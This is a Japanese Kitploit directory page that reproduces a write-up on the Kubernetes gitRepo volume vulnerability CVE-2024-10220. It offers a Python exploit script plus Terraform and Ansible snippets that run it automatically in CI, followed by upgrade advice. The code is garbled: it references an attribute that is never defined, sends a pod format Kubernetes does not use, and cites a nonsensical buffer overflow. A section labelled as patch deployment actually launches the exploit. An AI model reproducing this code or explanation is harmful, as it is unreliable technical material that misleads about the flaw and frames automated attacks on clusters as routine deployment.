Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability — CVE-2024-10220 は、Kubernetesの非推奨となったgitRepoボリュームタイプにおける重大な脆弱性を明らかにし、攻撃者が悪意のある.hooksスクリプトを介して任意のコマンドを実行することを可能にします。この記事では、これがコンテナの隔離を破る方法について説明し、エクスプロイトコード、自動化の例、および緩和ガイダンスを提供しています。 | Kitploit
ツール/GitHubGitHub/mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
クラウドインフラストラクチャセキュリティコンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテストクラウドセキュリティ設定ミス学習と教育レッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubmrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

CVE-2024-10220 は、Kubernetesの非推奨となったgitRepoボリュームタイプにおける重大な脆弱性を明らかにし、攻撃者が悪意のある.hooksスクリプトを介して任意のコマンドを実行することを可能にします。この記事では、これがコンテナの隔離を破る方法について説明し、エクスプロイトコード、自動化の例、および緩和ガイダンスを提供しています。

リポジトリを見る
11ヶ月前未レビュー

CVE-2024-10220-Kubernetes-gitRepo-ボリューム脆弱性

マーク・マリア著


コンテナ化と自動化の力

コンテナ化は現代のアプリケーションデリバリーの基盤です。ランタイムスタック全体を単一の不変イメージにバンドルし、クラスター内の任意のホストに予期せぬ問題なく展開できます。Kubernetesはそれらのイメージを取得し、ポッドとしてスケジュールし、ネットワーキングからストレージに至るまでを宣言型モデルでオーケストレーションします。これは非常に分散された環境や、複数のアプリケーションが提供されている環境で有用です。

このスタックが大規模ワークロードで特に魅力的なのは、エンドツーエンドで自動化によって管理できる点です。Terraformは、VPC、サブネット、セキュリティグループ、ワーカーノードを作成するインフラストラクチャ・アズ・コードの設計図を提供します。Ansibleは、Docker Engine(またはCRI互換ランタイム)をインストールし、レジストリからイメージをプルしてポッドとして起動するプレイブックを提供します。これらのステップがCI/CDパイプライン(GitHub Actions、Jenkins、GitLab CI)に組み込まれると、すべてのコミットが自動ビルド、プッシュ、テスト、デプロイのサイクルをトリガーします。開発者はスピードを、運用担当者は自信を、組織は予測可能な稼働時間を得られます。


最近の脆弱性 – CVE‑2024‑10220

2024年初頭、セキュリティ研究者は現在非推奨となっているKubernetesのgitRepoボリュームタイプに欠陥を発見しました。CVE‑2024‑10220は、gitRepoボリュームを介してマウントされたGitリポジトリ内の.hooksディレクトリに起因する任意のコマンド実行脆弱性です。特別に細工されたポッドマニフェストがこのディレクトリ内の悪意のあるスクリプトを参照すると、kubelet admissionコントローラがそれをホストシステム上で実行し、その結果コンテナ分離(Kubernetesの中核的なセキュリティ原則)を突破します。

影響を受けるコンポーネントは現在も本番クラスターで広く使用されているため、適切な権限でポッドを作成できる攻撃者はルートアクセスを取得したり、他のサービスを妨害したりできます。この欠陥はCVSSスコア8.1を持ち、昨年11月に公開されました。影響を受けるコンポーネントには、Kubernetes 1.27.xに残っている非推奨のgitRepoボリュームタイプが含まれます。


エクスプロイトコード

以下は、Kubernetes 1.27.3を実行している脆弱なkubeletインスタンス上でCVE‑2024‑10220をトリガーするクリーンなPythonプログラムです。このコードはAnsibleタスクにコンパイルするか、CIジョブ内で実行できます。

root@kitploit:~
#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

Terraform、Ansible、CI/CDによるデプロイ

以下は、パッチが自動的に展開される例です。

root@kitploit:~
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

スクリプトを呼び出すAnsibleプレイブック:

root@kitploit:~
---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"

このTerraform‑AnsibleパイプラインがCIジョブ(例えばGitHub Actions)内で実行されると、上記のコードは自動的にビルド、プッシュ、デプロイを行い、CVE‑2024‑10220が正常にトリガーされたことを確認します。パイプラインは、kubeletの応答をアサートする単体テストや、エクスプロイト完了時にSlackやメールに通知を送信するように拡張できます。


緩和策

パッチが適用されたバージョン(v1.28.12+、v1.29.7+、v1.30.3+、v1.31.0+)にアップグレードし、gitRepoのような非推奨のボリュームタイプの使用を避けてください。


責任ある開示と倫理的境界

この研究は、セキュリティ意識を高め、より安全なKubernetesの実践を促進する目的で実施されました。この脆弱性は、業界の規範に従い、公開前に責任を持って関連メンテナーに開示されました。すべてのテストは隔離された環境で実施され、本番システムや第三者のインフラに影響を与えることはありませんでした。

私は、倫理的なハッキングをポジティブな変化のためのツールとして信じています。ここで共有されるエクスプロイトは教育および防御目的のみであり、決して害を与えたり混乱を引き起こしたりするためのものではありません。もしベンダーやメンテナーで懸念があれば、修正や明確化について協力する用意があります。


ツールをダウンロード